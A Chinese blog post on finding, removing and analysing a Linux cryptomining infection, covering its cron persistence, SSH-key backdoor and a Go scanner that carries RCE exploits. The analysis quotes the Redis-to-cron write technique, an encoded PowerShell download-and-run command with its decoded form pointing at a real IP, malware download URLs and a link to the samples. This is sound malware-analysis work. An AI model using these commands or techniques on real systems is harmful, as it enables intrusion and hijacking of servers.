linux挖矿的清理工具,Linux挖矿病毒的清除与分析
文章目录
起因
清除过程
确定病因
开始清除
复发
定时任务
update.sh分析
修复
样本分析:networkservice文件的分析
分析准备
功能分析
sysguard
样本下载
*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
*本文原创作者:xuing,本文属于林哲博客原创奖励计划,未经许可禁止转载
起因
舍友在宿舍喊着,这服务器好卡啊,难受啊!我调侃他是不是被挖矿了,top命令看一下CPU占用。
一看吓一跳,一个叫做sysupdate的进程占据了绝大部分的CPU资源。CPU使用率接近100%。
看来被挖矿是坐实了。
清除过程
确定病因
这个病毒还不是算很变态,很多挖矿病毒,使用top命令都看不到挖矿程序的进程。
基本可以确定这个占据绝大部分cpu资源的进程sysupdate,就是挖矿程序了,我们需要先找到他。
使用命令:
ps -aux | grep sysupdate
查看病毒的PID号。
为了获取绝对路径,使用:
ls -l /proc/{pid号}/exe
发现sysupdate的绝对路径在/etc/sysupdate。
下载下来,上传到VirusTotal。
如图所示,就是他,挖矿病毒没跑了。
开始清除
首先干掉进程:kill -9 {pid号}
直接rm -f sysupdate会提示类似:
rm: cannot remove 'sysupdate ': Operation not permitted
基于经验,应该是病毒使用了chattr +i的命令。我们只要先执行chattr -i sysupdate,然后就可以正常删除了。
复发
然后..很快就又被创建出来了。应该是有守护进程什么的。
而且如果我们简单分析一下sysupdate,其实他并不是病毒,他只是个XMR挖矿程序。
(懂我意思吧,我们必须得找到他爸爸)。
分析的方法,可以通过findStr、IDA等工具提串或者..运行一下就明白了。下图是我虚拟机运行的截图。
好,我知道大家都不关心这个。
定时任务
我是先去看了下日志..发现什么都没有Orz,应该是被清了。
那还是先来检查下定时任务吧:
crontab -l或者cat /var/spool/cron/root
还可以去查看定时任务的日志。
more /var/log/cron log
太多的话,可以在后面加上| grep -v {要排除的关键字}来排除无用信息。
update.sh分析
找到了这个定时执行的源头,我们来简单分析一下。update.sh的内容和相关样本在文末有提供下载。
在/etc下下载了config.json(挖矿配置)、sysupdate(XMR挖矿软件)、update.sh(本脚本)、networkservice(scanner 扫描并入侵其他的主机)、sysguard(watchdog 用于监控并保证病毒的正常运行以及更新)并保证他们以root权限运行。
干掉别的挖矿病毒(见kill_miner_proc函数)。
创建/root/.ssh/authorized_keys,添加病毒作者自己的公钥,保证其可以使用SSH登录到服务器,算是个后门吧。
然后就是添加定时任务,为文件添加chattr +i,修改IPTABLES,清楚日志,关闭SELinux等等。
修复
1.rm /var/spool/cron/root或者 crontab -r删除定时任务。
2.kill命令将相关进程干掉,用chattr -i和rm命令,将上述/etc下的文件全部删除。
3./root/.ssh/authorized_keys也删掉或者修复。
至于IPTABLES、SELinux的恢复,就看大家自己的需求了。
样本分析:networkservice文件的分析
分析准备
查壳是UPX,直接使用upx -d就能脱壳了。
IDA打开发现结构很乱,Shift+F7打开Program Segmentation。
看到.gopclntab,基本就可以确定是golang编写的。我们这里使用IDAGolangHelper来帮助恢复符号信息。
从Github下载下来后,将脚本拷贝到IDA目录的python文件夹下,重启IDA,菜单选择File-Script Command..导入go_entry.py并运行。
PS:这里IDA7.0可能会遇到idc_bc695.py文件的MakeStr报错,这里给出看雪的解决办法。
如图所示,前两个按钮是用于检测Go语言的版本,输出在Output window内。我们这里选择Go1.10。然后按下剩下全部按钮进行修复~
再次看Functions window就舒服多了。不过字符串还是看着非常非常难受,因为Golang的字符串是堆成一坨的,用的时候通过偏移以及长度取。IDA没法很好的识别,只能自己从偏移处选定指定长度再按下A键进行标注。如果大佬们有更好的方式或者脚本,请务必赐教。
功能分析
我们接下来就可以从main_main函数开始看,整个程序的大概流程。
1.首先会去hxxps://pixeldra.in/api/download/I9RRye下载ips_cn.txt并保存为dkelc。
2.ips_cn.txt的内容实际上就是大量的国内ip段的十进制表示,为之后的扫描入侵做准备。
程序内包含了大量的exploit。基本都是RCE即远程命令执行,下表做了部分列举:
Redis未授权RCE
Hadoop未授权RCE
Drupal CVE-2018-7600
ElasticSearch CVE-2015-1427
ElasticSearch CVE-2014-3120
Redis爆破模块
Spring CVE-2018-1273
Sqlserver Exploit模块
ThinkPHP5 RCE
Weblogic CVE-2017-10271
以Redis未授权漏洞为例作分析,首先会去尝试空口令和弱口令爆破,如果成功连接。
首先设置Redis的stop-writes-on-bgsave-error为no。执行Redis命令FlushAll清空数据表。
设置dbfilename为Root,即设置持久化文件名为root,对应的Redis命令为:
config set dbfilename root
紧接着设置dir到定时任务目录/var/spool/cron,对应Redis命令为
config set dir "/var/spool/cron"
执行完上面的命令后,Redis之后的数据就会保存到/var/spool/cron/root,即Root用户的定时任务文件里。
紧接着拼接curl下载并执行远程shell的语句,并调用Save写入文件中。
sysguard
作者叫他是Watchdog,主要功能就是监控自己的各程序,定时任务等是否启动正常。不知道和网上的watchdogs挖矿病毒有没有联系。
在分析过程中,发现不仅仅有Linux版,还有Windows版。
对于windows,会去执行下面的命令:
powershell-windowstylehidden-nop-encaQBlAHgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADQAMwAuADIANAA1AC4AMgAyADIALgA1ADcAOgA4ADYANgA3AC8ANgBIAHEASgBCADAAUwBQAFEAcQBiAEYAYgBIAEoARAAvAHUAcABkAGEAdABlAC4AcABzADEAJwApAA==
base64解密为:
iex(New-Object Net.WebClient).DownloadString('http://43.245.222.57:8667/6HqJB0SPQqbFbHJD/update.ps1')
即下载执行update.ps1,没什么新意,火绒就可以查杀拦截:
windows版的下载地址如下,因为是Go语言编写的,其实内容都是大同小异的:
hxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/sysupdate.exe
hxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/sysguard.exe
hxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/networkservice.exe
hxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/update.ps1
样本下载
https://github.com/xuing/hello-world/blob/master/%E6%8C%96%E7%9F%BFlinux_sysupdate.zip
*本文原创作者:xuing,本文属于林哲博客原创奖励计划,未经许可禁止转载
linux挖矿的清理工具,Linux挖矿病毒的清除与分析相关推荐
- arm linux下交叉编译valgrind工具进行内存泄露检测和性能分析
C/C++等底层语言在提供强大功能及性能的同时,其灵活的内存访问也带来了各种纠结的问题.如果crash的地方正是内存使用错误的地方,说明你人品好.如果crash的地方内存明显不是consistent的 ...
- Linux 下垃圾清理工具 BleachBit
很多刚刚接触Linux的人都听过这样的一种说法:Linux的文件系统比Windows的要优秀,不会产生碎片,对于长时间运行的服务器来说尤为重要,而且Linux系统本身也不会像Windows一样产生大量 ...
- linux 系统后门检测工具,Linux系统的各种后门和日志工具详细介绍[2]
chfn 提升本地普通用户权限的程序 运行chfn 在它提示输入新的用户名时 如果用户输入rookit密码 他的权限就被提升为root chsh 提升本地用户权限的程序 运行chsh 在它提示输入新的 ...
- linux rsa密钥生成工具,linux下生成rsa密钥的方法
首先生成密钥,用命令ssh-keygen –t rsa 运行后可以一直空格,生成密钥,id_rsa和id_rsa.pub文件 ,默认放在/root/.ssh/下,.ssh文件是隐藏的,要显示隐藏文件才 ...
- linux批量部署war工具,Linux 批量一键部署工具 Expect
Linux 批量一键部署工具 Expect 既然没有遇到过,做好准备总是好的.这是自己送给自己的话,现在运维做自动话越来越多,自己就学以下,记录笔记.目前主流的有puppet.Expect.pssh等 ...
- linux bes二进制查看工具,Linux的命令及工具
1.查看系统运行的进程 # ps auxw 2.netstat命令 查看系统监听的服务 # netstat -ln -a所有的有效连接信息列表,包括已建立的连接(ESTABLISHED),也包括监听连 ...
- linux配置文件密码加密工具,Linux下利用openssl对文件进行加密和解密
转载地址:http://hi.baidu.com/edeed/item/99206a096b62d0e1ff240db8 --建立文件test.txt, 特意写入中英文# cd /tmp # echo ...
- linux 串口转网口工具,linux下串口调试工具/串口终端推荐: picocom(转)
Servlet 3.0 异步模式 Servlet 3.0标准新增了异步处理的支持. 进行异步处理的Servlet和作用于该Servlet的拦截器都必须声明对于异步处理的支持. java 资源监控 ht ...
- Linux下阅读docx工具,Linux装机必备软件及工具.docx
Linux装机必备软件及工具 Linux装机必备软件及工具首先说明一下ubuntu的软件安装大概有几种方式:CODE:首先说明一下ubuntu的软件安装大概有几种方式:1.deb包的安装方式deb是d ...
最新文章
- 口罩能否反复使用?浸盐水后可100%让H1N1病毒灭活,但对其他病毒需谨慎 | 《科学报告》期刊...
- python读取excel日期内容读出来是数字-Python读取Excel,日期列读出来是数字的处理...
- tcl mysql_MySQL·TCL语言
- android 网络调试工具,安卓网络调试助手
- leetcode360. 有序转化数组
- Redis配置和常用命令
- 精通数据科学_10篇文章变得更加精通数据科学
- UVA1363 LA3521 POJ2800 ZOJ2646 Joseph‘s Problem【约瑟夫环+数学】
- 分析和比较ABAQUS、MARC、Adina、ANSYS三种CAE软件
- 【答题助手】只用2秒!搞定百万英雄 芝士超人 冲顶大会
- 易语言lol自动接受源码分享以及lolApi相关使用教程
- 黑马JavaEE云计算大数据全套视频 JavaEE云计算开发全套视频教程 超全精华班 82G
- 笔记本光驱接口怎么外接台式机硬盘?
- 柏拉图《会饮篇》阅读笔记
- php20以内的勾股数,[求助]编程求100以内的所有勾股数
- 在QCreator IDE中 使用 Orge3D
- ABAP/4 编辑器 quot;插入quot; 命令,表TSE05
- NTL密码算法开源库——大整数ZZ类(一)
- 计算机绘画社团活动教案,电脑绘画社团活动策划书精选
- sqlite设密工具如何使用(本人资源)